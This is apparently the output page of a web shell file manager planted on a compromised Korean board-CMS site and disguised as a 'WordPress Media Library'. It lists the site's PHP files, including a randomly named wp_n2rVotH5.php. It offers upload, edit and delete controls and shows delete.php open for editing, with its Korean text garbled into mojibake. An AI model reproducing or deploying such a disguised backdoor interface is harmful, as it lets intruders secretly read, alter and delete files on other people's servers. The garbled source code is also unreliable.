โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: delete.php
Size: 6.23 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); $delete_token = get_session('ss_delete_token'); set_session('ss_delete_token', ''); if (!($token && $delete_token == $token)) alert('ํ ํฐ ์๋ฌ๋ก ์ญ์ ๋ถ๊ฐํฉ๋๋ค.'); //$wr = sql_fetch(" select * from $write_table where wr_id = '$wr_id' "); @include_once($board_skin_path.'/delete.head.skin.php'); if ($is_admin == 'super') // ์ต๊ณ ๊ด๋ฆฌ์ ํต๊ณผ ; else if ($is_admin == 'group') { // ๊ทธ๋ฃน๊ด๋ฆฌ์ $mb = get_member($write['mb_id']); if ($member['mb_id'] != $group['gr_admin']) // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ธ๊ฐ? alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); else if ($member['mb_level'] < $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ alert('์์ ์ ๊ถํ๋ณด๋ค ๋์ ๊ถํ์ ํ์์ด ์์ฑํ ๊ธ์ ์ญ์ ํ ์ ์์ต๋๋ค.'); } else if ($is_admin == 'board') { // ๊ฒ์ํ๊ด๋ฆฌ์์ด๋ฉด $mb = get_member($write['mb_id']); if ($member['mb_id'] != $board['bo_admin']) // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ธ๊ฐ? alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); else if ($member['mb_level'] < $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ alert('์์ ์ ๊ถํ๋ณด๋ค ๋์ ๊ถํ์ ํ์์ด ์์ฑํ ๊ธ์ ์ญ์ ํ ์ ์์ต๋๋ค.'); } else if ($member['mb_id']) { if ($member['mb_id'] !== $write['mb_id']) alert('์์ ์ ๊ธ์ด ์๋๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); } else { if ($write['mb_id']) alert('๋ก๊ทธ์ธ ํ ์ญ์ ํ์ธ์.', G5_BBS_URL.'/login.php?url='.urlencode(get_pretty_url($bo_table, $wr_id))); else if (!check_password($wr_password, $write['wr_password'])) alert('๋น๋ฐ๋ฒํธ๊ฐ ํ๋ฆฌ๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.'); } $len = strlen($write['wr_reply']); if ($len < 0) $len = 0; $reply = substr($write['wr_reply'], 0, $len); // ์๊ธ๋ง ๊ตฌํ๋ค. $sql = " select count(*) as cnt from $write_table where wr_reply like '$reply%' and wr_id <> '{$write['wr_id']}' and wr_num = '{$write['wr_num']}' and wr_is_comment = 0 "; $row = sql_fetch($sql); if ($row['cnt'] && !$is_admin) alert('์ด ๊ธ๊ณผ ๊ด๋ จ๋ ๋ต๋ณ๊ธ์ด ์กด์ฌํ๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.\\n\\n์ฐ์ ๋ต๋ณ๊ธ๋ถํฐ ์ญ์ ํ์ฌ ์ฃผ์ญ์์ค.'); // ์ฝ๋ฉํธ ๋ฌ๋ฆฐ ์๊ธ์ ์ญ์ ์ฌ๋ถ $sql = " select count(*) as cnt from $write_table where wr_parent = '$wr_id' and mb_id <> '{$member['mb_id']}' and wr_is_comment = 1 "; $row = sql_fetch($sql); if ($row['cnt'] >= $board['bo_count_delete'] && !$is_admin) alert('์ด ๊ธ๊ณผ ๊ด๋ จ๋ ์ฝ๋ฉํธ๊ฐ ์กด์ฌํ๋ฏ๋ก ์ญ์ ํ ์ ์์ต๋๋ค.\\n\\n์ฝ๋ฉํธ๊ฐ '.$board['bo_count_delete'].'๊ฑด ์ด์ ๋ฌ๋ฆฐ ์๊ธ์ ์ญ์ ํ ์ ์์ต๋๋ค.'); // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($board_skin_path.'/delete.skin.php'); // ๋๋ผ์ค๋ฆ๋ ์์ : ์๊ธ๊ณผ ์ฝ๋ฉํธ์๊ฐ ์ ์์ ์ผ๋ก ์ ๋ฐ์ดํธ ๋์ง ์๋ ์ค๋ฅ๋ฅผ ์ก์ ์ฃผ์ จ์ต๋๋ค. //$sql = " select wr_id, mb_id, wr_comment from $write_table where wr_parent = '$write[wr_id]' order by wr_id "; $sql = " select wr_id, mb_id, wr_is_comment, wr_content from $write_table where wr_parent = '{$write['wr_id']}' order by wr_id "; $result = sql_query($sql); while ($row = sql_fetch_array($result)) { // ์๊ธ์ด๋ผ๋ฉด if (!$row['wr_is_comment']) { // ์๊ธ ํฌ์ธํธ ์ญ์ if (!delete_point($row['mb_id'], $bo_table, $row['wr_id'], '์ฐ๊ธฐ')) insert_point($row['mb_id'], $board['bo_write_point'] * (-1), "{$board['bo_subject']} {$row['wr_id']} ๊ธ์ญ์ "); // ์ ๋ก๋๋ ํ์ผ์ด ์๋ค๋ฉด ํ์ผ์ญ์ $sql2 = " select * from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '{$row['wr_id']}' "; $result2 = sql_query($sql2); while ($row2 = sql_fetch_array($result2)) { $delete_file = run_replace('delete_file_path', G5_DATA_PATH.'/file/'.$bo_table.'/'.str_replace('../', '', $row2['bf_file']), $row2); if( file_exists($delete_file) ){ @unlink($delete_file); } // ์ธ๋ค์ผ์ญ์ if(preg_match("/\.({$config['cf_image_extension']})$/i", $row2['bf_file'])) { delete_board_thumbnail($bo_table, $row2['bf_file']); } } // ์๋ํฐ ์ธ๋ค์ผ ์ญ์ delete_editor_thumbnail($row['wr_content']); // ํ์ผํ ์ด๋ธ ํ ์ญ์ sql_query(" delete from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '{$row['wr_id']}' "); $count_write++; } else { // ์ฝ๋ฉํธ ํฌ์ธํธ ์ญ์ if (!delete_point($row['mb_id'], $bo_table, $row['wr_id'], '๋๊ธ')) insert_point($row['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_id']}-{$row['wr_id']} ๋๊ธ์ญ์ "); $count_comment++; } } // ๊ฒ์๊ธ ์ญ์ sql_query(" delete from $write_table where wr_parent = '{$write['wr_id']}' "); // ์ต๊ทผ๊ฒ์๋ฌผ ์ญ์ sql_query(" delete from {$g5['board_new_table']} where bo_table = '$bo_table' and wr_parent = '{$write['wr_id']}' "); // ์คํฌ๋ฉ ์ญ์ sql_query(" delete from {$g5['scrap_table']} where bo_table = '$bo_table' and wr_id = '{$write['wr_id']}' "); /* // ๊ณต์ง์ฌํญ ์ญ์ $notice_array = explode("\n", trim($board['bo_notice'])); $bo_notice = ""; for ($k=0; $k<count($notice_array); $k++) if ((int)$write[wr_id] != (int)$notice_array[$k]) $bo_notice .= $notice_array[$k] . "\n"; $bo_notice = trim($bo_notice); */ $bo_notice = board_notice($board['bo_notice'], $write['wr_id']); sql_query(" update {$g5['board_table']} set bo_notice = '$bo_notice' where bo_table = '$bo_table' "); // ๊ธ์ซ์ ๊ฐ์ if ($count_write > 0 || $count_comment > 0) sql_query(" update {$g5['board_table']} set bo_count_write = bo_count_write - '$count_write', bo_count_comment = bo_count_comment - '$count_comment' where bo_table = '$bo_table' "); @include_once($board_skin_path.'/delete.tail.skin.php'); delete_cache_latest($bo_table); run_event('bbs_delete', $write, $board); goto_url(short_url_clean(G5_HTTP_BBS_URL.'/board.php?bo_table='.$bo_table.'&page='.$page.$qstr)); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete